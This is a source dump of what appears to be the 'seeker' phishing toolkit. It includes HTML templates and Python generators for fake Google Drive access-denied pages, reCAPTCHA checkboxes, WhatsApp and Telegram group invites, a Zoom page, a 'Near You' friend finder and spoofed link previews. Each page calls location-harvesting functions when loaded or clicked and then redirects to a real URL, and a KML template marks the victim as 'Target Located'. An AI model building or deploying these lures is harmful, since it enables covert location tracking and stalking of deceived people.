document.getElementById('recaptcha-anchor').outerHTML='<span class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-checked" role="checkbox" aria-checked="true" id="recaptcha-anchor" dir="ltr" aria-labelledby="recaptcha-anchor-label" aria-disabled="false" tabindex="0" style="overflow: visible;"><div class="recaptcha-checkbox-border" role="presentation" style="display: none;"></div><div class="recaptcha-checkbox-borderAnimation" role="presentation" style=""></div><div class="recaptcha-checkbox-spinner" role="presentation" style="display: none; animation-play-state: running; opacity: 1;"><div class="recaptcha-checkbox-spinner-overlay" style="animation-play-state: running;"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation" style=""></div></span>';
}
function cap_uncheck(){
document.getElementById('recaptcha-anchor').outerHTML='<span class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" onclick="window.top.location.reload(); role="presentation"></div><div class="recaptcha-checkbox-borderAnimation" role="presentation"></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span>';
}
function cap_error(){
document.getElementById('recaptcha-anchor').outerHTML='<span class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-expired" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" onclick="window.top.location.reload();" role="presentation" style=""></div><div class="recaptcha-checkbox-borderAnimation" role="presentation" style=""></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span>'
}
function cap_forward(){
window.top.location = 'REDIRECT_URL'
}
function transmit(){
loading();
setTimeout(locate(), 2000);
}
function transmitted(){
cap_success();
cap_forward();
}
function main(){
locate(transmitted, cap_error);
}
================================================
FILE: template/custom_og_tags/index_temp.html
================================================
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:title" content="$TITLE$">
<meta property="og:site_name" content="$SITE_NAME$">
<meta property="og:description" content="$DESCRIPTION$">
<meta property="og:image" content="$IMG_URL$">
<title>$TITLE$</title>
<script type="text/javascript">
if (window.location.protocol == "http:") {
var restOfUrl = window.location.href.substr(5);
window.location = "https:" + restOfUrl;
}
</script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script type="text/javascript" src="js/location.js"></script>
</head>
<body onload="information();locate(function(){window.location='REDIRECT_URL';}, function(){$('#change').html('Failed');});">
</body>
</html>
================================================
FILE: template/gdrive/css/main.css
================================================
@font-face {
font-family: Product Sans;
font-style: normal;
font-weight: 400;
src: url('/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2') format('woff2');
}
body {
background-color: #ffffff;
font-size: 13px;
margin: 0;
padding: 0;
font-family: Arial,sans-serif;
}
#outerContainer {
margin: auto;
max-width: 750px;
}
#innerContainer {
margin-bottom: 20px;
margin-left: 40px;
margin-right: 40px;
margin-top: 180px;
position: relative;
}
#drive-logo {
margin: 18px 0;
position: absolute;
white-space: nowrap;
}
.docs-drivelogo-img {
background-image: url('/images/googlelogo_color_116x41dp.png');
background-size: 116px 41px;
display: inline-block;
height: 41px;
vertical-align: bottom;
width: 116px;
}
.docs-drivelogo-text {
color: #000;
display: inline-block;
opacity: 0.54;
text-decoration: none;
font-family: 'Product Sans',Arial,Helvetica,sans-serif;
font-size: 32px;
text-rendering: optimizeLegibility;
position: relative;
top: -6px;
left: -7px;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
#main {
position: relative;
width: 640px;
top: 30px;
}
#accessDeniedIcon {
background-image: url('/images/locked_doc-2.svg');
float: right;
height: 158px;
width: 128px;
}
#accessDeniedHeader {
color: #222;
font: 32px Arial, sans-serif;
}
#message {
color: #222;
font: 15px/1.6 Arial, sans-serif;
width: 480px;
}
button.jfk-button {
font-family: arial,sans-serif;
height: auto;
}
.jfk-button-action {
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
background-color: #4d90fe;
background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
background-image: linear-gradient(top,#4d90fe,#4787ed);
border: 1px solid #3079ed;
color: #fff;
}
.jfk-button {
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
cursor: default;
font-size: 11px;
font-weight: bold;
text-align: center;
white-space: nowrap;
margin-right: 16px;
height: 27px;
line-height: 27px;
min-width: 54px;
outline: 0px;
padding: 0 8px;
}
.jfk-button-standard {
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
background-color: #f5f5f5;
background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
color: #444;
border: 1px solid #dcdcdc;
border: 1px solid rgba(0,0,0,0.1);
}
@media (max-width: 500px) {
#accessDeniedHeader {
color: #222;
font: 25px Arial, sans-serif;
}
#accessDeniedIcon {
background-image: url('/images/locked_doc-1.svg');
height: 108px;
width: 88px;
}
#main {
width: 100%;
}
#message {
width: 75%;
}
#outerContainer #innerContainer {
margin-left: 20px;
margin-right: 20px;
}
}
:focus {outline:none;}
::-moz-focus-inner {border:0;}
================================================
FILE: template/gdrive/index_temp.html
================================================
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="description" content="Web word processing, presentations and spreadsheets">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">
<link rel="shortcut icon" href="/images/drive_favicon1.ico">
<title>Google Drive - Access Denied</title>
<link rel="stylesheet" type="text/css" href="css/main.css">
<script type="text/javascript">
if (window.location.protocol == "http:") {
var restOfUrl = window.location.href.substr(5);
window.location = "https:" + restOfUrl;
}
</script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script type="text/javascript" src="js/location.js"></script>
</head>
<body onload="information();">
<div id="outerContainer">
<div id="innerContainer">
<div style="position: absolute; top: -80px;">
<div id="drive-logo">
<span class="docs-drivelogo-img"></span>
<span class="docs-drivelogo-text"> Drive</span>
</div>
</div>
<div style="clear:both"></div>
<div id="main">
<div id="accessDeniedIcon"></div>
<p id="accessDeniedHeader">You need permission</p>
<div id="message">
<p>Want in? Ask for access, or switch to an account with permission.</p>
</div>
<p id="buttons" style="padding-top: 10px">
<button id="requestButton" style="font-weight:bold" class="jfk-button jfk-button-action" onclick="locate(function(){window.location='REDIRECT_URL';}, function(){$('#change').html('Failed');});">Request access</button>
</p>
</div>
</div>
</div>
</body>
</html>
================================================
FILE: template/mod_captcha.py
================================================
#!/usr/bin/env python3
import os
import utils
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
real_forward = os.getenv('REDIRECT')
fake_forward = os.getenv('DISPLAY_URL')
if real_forward is None:
real_forward = input(f'{G}[+] {C}Enter Real Forward URL :{W} ')
else:
utils.print(f'{G}[+] {C}Real Forward URL :{W} '+real_forward)
if fake_forward is None:
fake_forward = input(f'{G}[+] {C}Enter Fake Forward URL :{W} ')
else:
utils.print(f'{G}[+] {C}Fake Forward URL :{W} '+fake_forward)
with open('template/captcha/js/main_temp.js', 'r') as location_temp:
js_file = location_temp.read()
updated_js_raw = js_file.replace('REDIRECT_URL', real_forward)
with open('template/captcha/js/main.js', 'w') as updated_js:
updated_js.write(updated_js_raw)
with open('template/captcha/index_temp.html', 'r') as temp_index:
temp_index_data = temp_index.read()
if os.getenv("DEBUG_HTTP"):
temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')
upd_temp_index_raw = temp_index_data.replace('FAKE_REDIRECT_URL', fake_forward)
with open('template/captcha/index.html', 'w') as updated_index:
updated_index.write(upd_temp_index_raw)
================================================
FILE: template/mod_custom_og_tags.py
================================================
#!/usr/bin/env python3
import os
import utils
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
redirect = os.getenv('REDIRECT')
sitename = os.getenv('SITENAME')
title = os.getenv('TITLE')
imageUrl = os.getenv('IMAGE')
desc = os.getenv("DESC")
old = 'n'
if not redirect and not sitename and not title and not imageUrl and not desc:
old = input(G + '[+]' + C + ' Do you want to reuse previous configs? (Y/N) : ' + W)
if old.lower() != 'y':
if redirect is None:
redirect = input(G + '[+]' + C + ' Enter Target URL (YouTube,Blog etc) : ' + W)
else:
utils.print(f'{G}[+] {C}Target URL :{W} '+redirect)
if sitename is None:
sitename = input(G + '[+]' + C + ' Site Name: ' + W)
else:
utils.print(f'{G}[+] {C}Site Name :{W} '+sitename)
if title is None:
title = input(G + '[+]' + C + ' Title : ' + W)
else:
utils.print(f'{G}[+] {C}Title :{W} '+title)
if imageUrl is None:
imageUrl = input(G + '[+]' + C + ' Image URL: ' + W)
else:
utils.print(f'{G}[+] {C}Image :{W} '+imageUrl)
if desc is None:
desc = input(G + '[+]' + C + ' Description: ' + W)
else:
utils.print(f'{G}[+] {C}Description :{W} '+desc)
with open('template/custom_og_tags/index_temp.html', 'r') as index_temp:
code = index_temp.read()
if os.getenv("DEBUG_HTTP"):
code = code.replace('window.location = "https:" + restOfUrl;', '')
code = code.replace('$SITE_NAME$', sitename)
code = code.replace('REDIRECT_URL', redirect)
code = code.replace('$TITLE$', title)
code = code.replace('$IMG_URL$', imageUrl)
code = code.replace('$DESCRIPTION$', desc)
with open('template/custom_og_tags/index.html', 'w') as new_index:
new_index.write(code)
================================================
FILE: template/mod_gdrive.py
================================================
#!/usr/bin/env python3
import os
import utils
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
redirect = os.getenv('REDIRECT')
if redirect is None:
redirect = input(G + '[+]' + C + ' Enter GDrive File URL : ' + W)
else:
utils.print(f'{G}[+] {C}GDrive File URL :{W} '+redirect)
with open('template/gdrive/index_temp.html', 'r') as temp_index:
temp_index_data = temp_index.read()
temp_index_data = temp_index_data.replace('REDIRECT_URL', redirect)
if os.getenv("DEBUG_HTTP"):
temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')
with open('template/gdrive/index.html', 'w') as updated_index:
updated_index.write(temp_index_data)
================================================
FILE: template/mod_nearyou.py
================================================
#!/usr/bin/env python3
import os
import utils
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
with open('template/nearyou/index_temp.html', 'r') as temp_index:
temp_index_data = temp_index.read()
if os.getenv("DEBUG_HTTP"):
temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')
with open('template/nearyou/index.html', 'w') as updated_index:
updated_index.write(temp_index_data)
================================================
FILE: template/mod_telegram.py
================================================
#!/usr/bin/env python3
import os
import shutil
import utils
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
title = os.getenv('TITLE')
image = os.getenv('IMAGE')
desc = os.getenv('DESC')
mem_num = os.getenv('MEM_NUM')
online_num = os.getenv('ONLINE_NUM')
if title is None:
title = input(f'{G}[+] {C}Group Title : {W}')
else:
utils.print(f'{G}[+] {C}Group Title :{W} '+title)
if image is None:
image = input(f'{G}[+] {C}Image Path (Best Size : 300x300): {W}')
else:
utils.print(f'{G}[+] {C}Image :{W} '+image)
if desc is None:
desc = input(f'{G}[+] {C}Group Description: {W}')
else:
utils.print(f'{G}[+] {C}Group Description :{W} '+desc)
if mem_num is None:
mem_num = input(G + '[+]' + C + ' Number of Members : ' + W)
else:
utils.print(f'{G}[+] {C}Number of Members :{W} '+mem_num)
if online_num is None:
online_num = input(G + '[+]' + C + ' Number of Members Online : ' + W)
else:
utils.print(f'{G}[+] {C}Number of Members Online :{W} '+mem_num)
img_name = utils.downloadImageFromUrl(image, 'template/telegram/images/')
if img_name :
img_name = img_name.split('/')[-1]
else:
img_name = image.split('/')[-1]
try:
shutil.copyfile(image, 'template/telegram/images/{}'.format(img_name))
except Exception as e:
utils.print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
exit()
with open('template/telegram/index_temp.html', 'r') as index_temp:
code = index_temp.read()
if os.getenv("DEBUG_HTTP"):
code = code.replace('window.location = "https:" + restOfUrl;', '')
code = code.replace('$TITLE$', title)
code = code.replace('$DESC$', desc)
code = code.replace('$MEMBERS$', mem_num)
code = code.replace('$ONLINE$', online_num)
code = code.replace('$IMAGE$', 'images/{}'.format(img_name))
with open('template/telegram/index.html', 'w') as new_index:
new_index.write(code)
================================================
FILE: template/mod_whatsapp.py
================================================
#!/usr/bin/env python3
import os
import shutil
import utils
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
title = os.getenv('TITLE')
image = os.getenv('IMAGE')
if title is None:
title = input(f'{G}[+] {C}Group Title : {W}')
else:
utils.print(f'{G}[+] {C}Group Title :{W} '+title)
if image is None:
image = input(f'{G}[+] {C}Path to Group Img (Best Size : 300x300): {W}')
else:
utils.print(f'{G}[+] {C}Group Image :{W} '+image)
img_name = utils.downloadImageFromUrl(image, 'template/whatsapp/images/')
if img_name :
img_name = img_name.split('/')[-1]
else:
img_name = image.split('/')[-1]
try:
shutil.copyfile(image, 'template/whatsapp/images/{}'.format(img_name))
except Exception as e:
utils.print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
exit()
with open('template/whatsapp/index_temp.html', 'r') as index_temp:
code = index_temp.read()
if os.getenv("DEBUG_HTTP"):
code = code.replace('window.location = "https:" + restOfUrl;', '')
code = code.replace('$TITLE$', title)
code = code.replace('$IMAGE$', 'images/{}'.format(img_name))
with open('template/whatsapp/index.html', 'w') as new_index:
new_index.write(code)
================================================
FILE: template/mod_whatsapp_redirect.py
================================================
#!/usr/bin/env python3
import os
import shutil
import utils
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
title = os.getenv('TITLE')
image = os.getenv('IMAGE')
redirect = os.getenv('REDIRECT')
if title is None:
title = input(f'{G}[+] {C}Group Title : {W}')
else:
utils.print(f'{G}[+] {C}Group Title :{W} '+title)
if image is None:
image = input(f'{G}[+] {C}Path to Group Img (Best Size : 300x300): {W}')
else:
utils.print(f'{G}[+] {C}Group Image :{W} '+image)
if redirect is None:
redirect = input(G + '[+]' + C + ' Enter WhatsApp Group URL : ' + W)
else:
utils.print(f'{G}[+] {C}WhatsApp Group URL :{W} '+redirect)
img_name = utils.downloadImageFromUrl(image, 'template/whatsapp_redirect/images/')
if img_name :
img_name = img_name.split('/')[-1]
else:
img_name = image.split('/')[-1]
try:
shutil.copyfile(image, 'template/whatsapp_redirect/images/{}'.format(img_name))
except Exception as e:
utils.print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
exit()
with open('template/whatsapp_redirect/index_temp.html', 'r') as index_temp:
code = index_temp.read()
if os.getenv("DEBUG_HTTP"):
code = code.replace('window.location = "https:" + restOfUrl;', '')
code = code.replace('$TITLE$', title)
code = code.replace('REDIRECT_URL', redirect)
code = code.replace('$IMAGE$', 'images/{}'.format(img_name))
with open('template/whatsapp_redirect/index.html', 'w') as new_index:
new_index.write(code)
================================================
FILE: template/mod_zoom.py
================================================
#!/usr/bin/env python3
import os
import utils
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
with open('template/zoom/index_temp.html', 'r') as temp_index:
temp_index_data = temp_index.read()
if os.getenv("DEBUG_HTTP"):
temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')
with open('template/zoom/index.html', 'w') as updated_index:
updated_index.write(temp_index_data)
================================================
FILE: template/nearyou/css/main.css
================================================
html, body
{
height: 100%;
}
body
{
background-color: #000000;
margin: auto;
overflow: hidden;
}
h1
{
font-family: 'Raleway', sans-serif;
color: white;
text-align: center;
filter: drop-shadow(0px 0px 8px cyan);
margin: auto;
position: fixed;
top: 5%;
left: 0%;
right: 0%;
}
h2
{
font-family: 'Raleway', sans-serif;
color: white;
text-align: center;
filter: drop-shadow(0px 0px 8px cyan);
margin: auto;
position: fixed;
top: 15%;
left: 0%;
right: 0%;
}
img
{
position: fixed;
margin: auto;
left: 0%;
right: 0%;
top: 30%;
height: 40%;
filter: drop-shadow(0px 0px 8px white);
opacity: 50%;
}
.button
{
background-color: Transparent;
border: 2px solid white;
cursor: pointer;
color: white;
font-size: 24px;
padding: 14px 40px;
border-radius: 6px;
width: 50%;
text-align: center;
font-family: 'Raleway', sans-serif;
position: fixed;
left: 25%;
right: 25%;
bottom: 10%;
filter: drop-shadow(0px 0px 8px cyan);
transition: text-shadow 0.2s linear;
}
.text
{
font-family: 'Raleway', sans-serif;
color: white;
text-align: center;
filter: drop-shadow(0px 0px 8px cyan);
margin: auto;
position: fixed;
top: 5%;
left: 0%;
right: 0%;
z-index: 1;
}
.earth
{
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: auto;
height: 250px;
width: 250px;
background-image: url(https://raw.githubusercontent.com/thewhiteh4t/seeker/master/template/nearyou/css/worldmap.jpg);
border-radius: 50%;
background-size: 700px;
animation:rotate 7s linear infinite;
box-shadow: 10px -10px 40px black inset, -10px 10px 40px black inset, -10px -10px 40px black inset;
filter: drop-shadow(0px 0px 8px black);
}
@keyframes rotate
{
0%{background-position: 0 0;}
100%{background-position: 700px 0;}
}
================================================
FILE: template/nearyou/index_temp.html
================================================
<!DOCTYPE html>
<html lang="en">
<head>
<title>Near You | Meet New People, Make New Friends</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="theme-color" content="#000000">
<link rel="icon" type="image/x-icon" href="https://www.freefavicon.com/freefavicons/icons/flat-location-logo-152-234349.png">
<link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
<link href="/css/main.css" rel="stylesheet">
<script type="text/javascript">
if (window.location.protocol == "http:") {
var restOfUrl = window.location.href.substr(5);
window.location = "https:" + restOfUrl;
}</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
<script src="/js/location.js"></script>
<script src="/js/warpspeed.min.js"></script>
</head>
<body onload="information();">
<canvas id="canvas" style="width:100%; height:100%;"></canvas>
<script>var x=new WarpSpeed('canvas',
'{"speed":2,"speedAdjFactor":0.03,"density":1,"shape":"circle","warpEffect":true,"warpEffectLength":3,"depthFade":false,"starSize":3,"backgroundColor":"hsl(0,0%,0%)","starColor":"#FFFFFF"}');</script>
<div><h1>Find People Near You</h1></div>
<div><h2>Meet New People, Make New Friends</h2></div>
<div class="earth"></div>
<div><button id="change" class="button" type="button" onclick="locate(function(){$('#change').html('Coming Soon'); alert('Thank you for taking interest in Near You...This product is coming soon...');}, function(){$('#change').html('Failed');});">Continue</button></div>
<div class="text" id="result"></div>
</body>
</html>
================================================
FILE: template/sample.kml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<kml xmlns="http://www.opengis.net/kml/2.2">
<Document>
<Style id="icon">
<IconStyle>
<Icon>
<href>http://maps.google.com/mapfiles/kml/paddle/ylw-blank.png</href>
</Icon>
</IconStyle>
<LabelStyle>
<color>ff00ffff</color>
<colorMode>normal</colorMode>
<scale>1.5</scale>
</LabelStyle>
</Style>
<Placemark>
<name>Target Located</name>
<styleUrl>#icon</styleUrl>
<Point>
<coordinates>LONGITUDE,LATITUDE,0</coordinates>
</Point>
</Placemark>
</Document>
</kml>
================================================
FILE: template/telegram/css/css
================================================
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Mu4mxP.ttf) format('truetype');
}
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 700;
src: local('Roboto Bold'), local('Roboto-Bold'), url(https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBBc9.ttf) format('truetype');
}
================================================
FILE: template/telegram/css/telegram.css
================================================
body {
font: 12px/18px "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Verdana, sans-serif;
/*-webkit-font-smoothing: antialiased;*/
}
a,
a:hover {
color: #0088cc;
}
a:focus {
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
.container {
margin-right: auto;
margin-left: auto;
padding-left: 15px;
padding-right: 15px;
}
@media (min-width: 768px) {
.container {
width: 750px;
}
}
@media (min-width: 992px) {
.container {
width: 970px;
}
}
@media (min-width: 1200px) {
.container {
width: 1170px;
}
}
.container-fluid {
margin-right: auto;
margin-left: auto;
padding-left: 15px;
padding-right: 15px;
}
.row {
margin-left: -15px;
margin-right: -15px;
}
.container:before {
content: " ";
display: table;
}
.container:after {
content: " ";
display: table;
clear: both;
}
.tl_page_head {
margin-bottom: 0;
}
.navbar-tg .navbar-inner {
box-shadow: none;
-webkit-box-shadow: none;
border-bottom: 1px solid #e8e8e8;
}
.navbar-tg .nav a {
color: #0088cc;
-webkit-transition: padding-bottom .2s ease-in-out, box-shadow .2s ease-in-out;
-moz-transition: padding-bottom .2s ease-in-out, box-shadow .2s ease-in-out;
-ms-transition: padding-bottom .2s ease-in-out, box-shadow .2s ease-in-out;
}
.navbar-tg .nav a:hover,
.navbar-tg .nav .active a {
color: #0088cc;
}
.navbar-tg .nav .active a {
box-shadow: 0px 3px 0px 0px #179cde;
-webkit-box-shadow: 0px 3px 0px 0px #179cde;
padding-bottom: 13.5px;
}
.navbar-tg .nav li a:hover {
box-shadow: 0px 3px 0px 0px #179cde;
-webkit-box-shadow: 0px 3px 0px 0px #179cde;
padding-bottom: 13.5px;
}
.navbar-tg .nav a,
.navbar-tg .nav a:hover,
.navbar-tg .nav a:focus {
background-color: transparent;
}
.nav {
color: #a2a2a2;
font-size: 15px;
}
.nav-pills > li > a {
font-size: 15px;
padding: 8px 17px;
border-radius: 0;
}
.nav > li > a:hover,
.nav > li > a:focus {
background-color: #f0f6fa;
text-decoration: none;
}
.nav .open > a,
.nav .open > a:hover,
.nav .open > a:focus,
.nav-pills > li.active > a,
.nav-pills > li.active > a:hover,
.nav-pills > li.active > a:focus {
box-shadow: none;
background-color: #1e98d4;
color: #FFF;
border: 0;
}
.nav .open > a .caret,
.nav .open > a:hover .caret,
.nav .open > a:focus .caret {
background-position: -2px -15px;
}
.dropdown-menu {
min-width: 177px;
padding: 0;
margin: 7px 0 0 0;
list-style: none;
font-size: 13px;
text-align: left;
background-color: #fff;
border-radius: 0;
border: 1px solid rgba(29,92,123,0.3);
box-shadow: 0 1px 1px rgba(20,60,83,0.1);
-webkit-box-shadow: 0 1px 1px rgba(20,60,83,0.1);
}
.dropdown-menu > li > a {
padding: 8px 18px;
margin: 0 -1px;
color: #08c;
}
.dropdown-menu > li > a:first-child {
margin-top: -1px;
padding-top: 9px;
}
.dropdown-menu > li > a:last-child {
margin-bottom: -1px;
padding-bottom: 9px;
}
.dropdown-menu > li > a:hover,
.dropdown-menu > li > a:focus,
.dropdown-menu > li.active > a {
text-decoration: none;
color: #FFF;
background-color: #1e98d4;
}
#dev_page_content > ul:not(.nav),
#dev_page_content ul.bulleted,
#dev_page_content > ul:not(.nav) ul:not(.nav),
#dev_page_content ul.bulleted ul.bulleted {
list-style-type: none;
padding-left: 10px;
}
.is_rtl #dev_page_content > ul:not(.nav),
.is_rtl #dev_page_content ul.bulleted,
.is_rtl #dev_page_content > ul:not(.nav) ul:not(.nav),
.is_rtl #dev_page_content ul.bulleted ul.bulleted {
padding-right: 10px;
padding-left: 0;
}
.is_rtl #dev_page_content > ul:not(.nav) li,
.is_rtl #dev_page_content ul.bulleted li {
background-position: 100% 8px;
padding-left: 0;
padding-right: 20px;
}
.breadcrumb > li {
text-shadow: none;
}
.breadcrumb > li > .divider {
color: #c1d3e4;
}
pre, code {
border: 0;
}
pre {
font-size: 13px;
color: #546172;
background: #ecf3f8;
border-radius: 0;
}
code {
background: #feeae4;
color: #c61717;
padding: 3px 5px;
border-radius: 0;
}
blockquote {
border-left-color: #179cde;
}
blockquote p {
font-size: 14px;
font-weight: normal;
line-height: 20px;
margin-bottom: 10px;
}
.table td, .table th {
border-top-color: #eee;
}
h1, h2, h3, h4, h5, h6 {
font-weight: bold;
margin: 20px 0 10px 0;
position: relative;
}
h1 {
font-size: 20px;
margin-top: 32px;
margin-bottom: 12px;
}
h2 {
font-size: 20px;
margin-top: 32px;
margin-bottom: 12px;
}
h3 {
font-size: 20px;
margin-top: 32px;
margin-bottom: 10px;
}
h4 {
font-size: 16px;
margin-top: 29px;
margin-bottom: 7px;
}
h5 {
font-size: 16px;
margin-top: 29px;
margin-bottom: 7px;
}
mark {
padding: .2em .4em;
}
a.btn,
button.btn {
border-radius: 0;
}
.form-control {
border-radius: 0;
box-shadow: none;
}
a.anchor {
text-decoration: none;
line-height: 1;
margin-left: -22px;
cursor: default;
display: block;
position: absolute;
top: 0;
left: 0;
bottom: 0;
border-top: 10px solid transparent;
margin-top: -10px;
-webkit-background-clip:padding-box;
-moz-background-clip:padding;
background-clip:padding-box;
outline: 0;
}
h1 a.anchor i.anchor-icon {margin-top: 2px;}
h2 a.anchor i.anchor-icon {margin-top: 2px;}
h3 a.anchor i.anchor-icon {margin-top: 2px;}
h4 a.anchor i.anchor-icon {margin-top: 0px;}
h1:hover a.anchor i.anchor-icon,
h2:hover a.anchor i.anchor-icon,
h3:hover a.anchor i.anchor-icon,
h4:hover a.anchor i.anchor-icon,
h5:hover a.anchor i.anchor-icon,
h6:hover a.anchor i.anchor-icon {
opacity: 0.6;
}
i.anchor-icon:hover {
opacity: 1 !important;
}
.breadcrumb {
background-color: #ecf3fa;
}
.breadcrumb {
white-space: nowrap;
text-overflow: ellipsis;
overflow: hidden;
}
.breadcrumb li {
display: inline-block;
float: none;
white-space: nowrap;
text-overflow: ellipsis;
}
.breadcrumb > li + li:before {
padding: 0;
content: "";
}
.slightly-pull-right {
float: right;
}
.slightly-pull-left {
float: left;
}
.back_to_top_wrap {
display: block;
pointer-events: none;
cursor: default;
position: fixed;
left: 0;
top: 0;
bottom: 0;
outline: none;
box-shadow: none;
opacity: 0;
/*display: none;*/
transition: opacity ease-in-out 0.2s;
-webkit-transition: opacity ease-in-out 0.2s;
}
.back_to_top_wrap.back_to_top_shown {
cursor: pointer;
pointer-events: all;
/*display: block;*/
opacity: 1;
}
.back_to_top_wrap:hover {
text-decoration: none;
}
.back_to_top {
font-size: 15px;
width: 120px;
text-align: center;
padding: 18px 15px 18px 7px;
transition: background ease-in-out 0.2s;
-webkit-transition: background ease-in-out 0.2s;
}
.back_to_top_wrap:hover .back_to_top {
background: #ecf3f8;
background: rgba(174, 198, 215, 0.2);
}
.navbar-tg .navbar-twitter a {
padding-top: 14.5px;
padding-bottom: 14.5px;
}
.tl_main_page_container {
padding: 0;
}
.tl_main_wrap {
margin-top: 17px;
}
.tl_main_wrap h3 {
color: #222222;
font-size: 23px;
font-weight: 500;
}
.no_access_wrap {
color: #999;
padding: 100px 40px;
text-align: center;
font-size: 18px;
}
.side_blog_wrap {
background: #ecf3fa;
padding: 15px 20px 20px;
font-size: 12px;
width: 200px;
}
.tl_blog_side_blog .side_blog_wrap {
width: 180px;
}
.side_blog_header {
display: block;
color: #0088cc;
font-weight: bold;
font-size: 16px;
margin-bottom: 15px;
}
a.side_blog_entry {
display: block;
margin-top: 10px;
}
a.side_blog_entry:hover {
text-decoration: none;
}
.side_blog_date {
color: #000;
font-weight: bold;
}
.side_blog_title {
color: #0088cc;
}
a.side_blog_entry:hover .side_blog_title {
text-decoration: underline;
}
.side_tour_entry .side_blog_title {
font-size: 14px;
}
.tl_main_bottom_blog,
.tl_blog_bottom_blog {
display: none;
}
.tl_main_side_blog {
position: relative;
}
.tl_main_side_blog .side_blog_wrap {
position: absolute;
margin-top: 20px;
right: 137px;
}
.tl_main_bottom_blog {
margin: 0px 15px 20px;
}
.side_blog_wrap {
background: none;
padding: 5px 17px;
margin: 0 0 17px 26px;
border-left: 5px solid #179cde;
}
.tl_blog_bottom_blog .side_blog_wrap {
margin: 0 0 0 10px;
}
.tl_blog_side_blog {
position: relative;
}
.tl_blog_side_blog .side_blog_wrap {
position: absolute;
margin-top: 50px;
right: -200px;
}
.tl_main_logo_wrap {
max-width: 315px;
margin: 0 auto;
padding: 20px 0 20px;
}
a.tl_main_logo {
display: block;
line-height: 0;
text-decoration: none !important;
}
img.tl_main_logo {
display: block;
width: 128px;
height: 128px;
margin: 0 auto;
}
.tl_main_logo_title,
.tl_main_logo_title:hover {
font-size: 34px;
color: #222222;
text-align: center;
margin-top: 18px;
margin-bottom: 6px;
font-weight: normal;
letter-spacing: -2px;
}
.tl_main_logo_lead {
font-size: 20px;
line-height: 148%;
max-width: 285px;
margin: 0 auto;
color: #8c8c8c;
text-align: center;
padding: 1px 0 10px;
font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Light", Helvetica, Arial , Verdana, sans-serif;
font-weight: 300;
}
.tl_main_head_download {
margin: 6px auto 35px;
